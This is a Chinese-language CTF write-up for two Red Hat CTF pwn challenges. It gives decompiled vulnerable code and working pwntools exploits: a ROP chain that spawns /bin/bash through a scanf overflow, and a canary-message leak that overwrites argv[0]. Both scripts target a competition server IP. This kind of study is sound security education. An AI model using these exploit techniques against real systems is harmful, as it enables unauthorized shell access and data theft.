红帽 CTF PWN1/PWN5 writeup

PWN 1

开启 NX:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

IDA F5 大法,scanf 可以越界写:

int __cdecl main()
{
  int v1; // [sp+18h] [bp-28h]@1

  puts("pwn test");
  fflush(stdout);
  __isoc99_scanf("%s", &v1);
  printf("%s", &v1);
  return 1;
}

EXP 写完发现服务器上开了 ASLR(肯定因为我脸黑。改用方式:

  • 程序引用了 system 函数,使用 PLT 作为返回地址
  • 往 BBS 区域写 /bin/bash 字符串

构造 ROP 链:

#!/usr/bin/env python
from pwn import *

system_addr = 0x080483e0
bash_addr = 0x0804a040
scanf_addr = 0x08048410
format_addr = 0x08048629
ppr = 0x080485ee # pop; pop; ret;

#p = process('./pwn1_c1d0173e20a08feff046c8433f53fd37')
p = remote('106.75.93.221', 10000)

payload = 'A' * 52 + p32(scanf_addr) + p32(ppr) + p32(format_addr) + p32(bash_addr)
payload += p32(system_addr) + p32(0xdeafbeef) + p32(bash_addr)

p.send(payload)
p.send('/bin/bash')

p.interactive()

pwn1

PWN 5

载入 GDB 发现开启了 Stack Guard:

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

IDA 载入,首先读取 flag 文件到全局变量中:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  // ...
  v3 = fopen("/home/pwn6/data.txt", "r");
  fread(flag, 1u, 50u, v3);
  // ...
}

进入 vul 函数:

signed int vul()
{
  signed int result; // eax@3
  int v1; // edx@3
  char s; // [sp+10h] [bp-48h]@1
  int v3; // [sp+4Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  puts("input something");
  gets(&s);
  if ( !strcmp(&s, flag) )
    printf("WellDone!", flag);
  result = 1;
  v1 = *MK_FP(__GS__, 20) ^ v3;
  return result;
}

可见 gets 没有限制大小,可以直接覆盖缓冲区。但是由于开启了 Stack Guard,而且没有方法可以 leak canary 的值,无法直接控制 EIP。

尝试执行程序:

root@kali:~# ./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a 
input something
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a terminated
Aborted

发现溢出时会打印程序名称,而文件名由 argv[0] 传入。由于 flag 已经读入到内存中,可以尝试覆盖 argv[0] 为 flag 地址。

参考 http://seclists.org/bugtraq/2010/Apr/243

尝试获取覆盖位置:

from pwn import *
from subprocess import Popen, PIPE

flag_addr = 0x0804A080

for i in range(1, 500):
    p = Popen(['sh', '-c', './pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a'], stdin=PIPE, stdout=PIPE)
    p.stdin.write('A' * i + p32(flag_addr))
    print i, p.communicate()[0]

可能是我脸黑,无法从管道读取 stack smashing 信息,所以只能肉眼查看 (错误信息可能没通过该进程管道写):

smashing

从 276 成功对齐覆盖(flag1flag2… 是本地测试文件的内容),可能由于环境变量差异原因,远程进程的偏移地址和本地测试不同,计算后获取 flag:

smashing

fucksss.py:

#!/usr/bin/env python
from pwn import *
from time import sleep

flag_addr = 0x0804A080

for i in range(292, 293):
    #p=process('./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a')
    p = remote('106.75.93.221', 10003)
    p.send('A'*i + p32(flag_addr))
    p.interactive()

ctf

324 Words

2017-05-06 11:22 +0800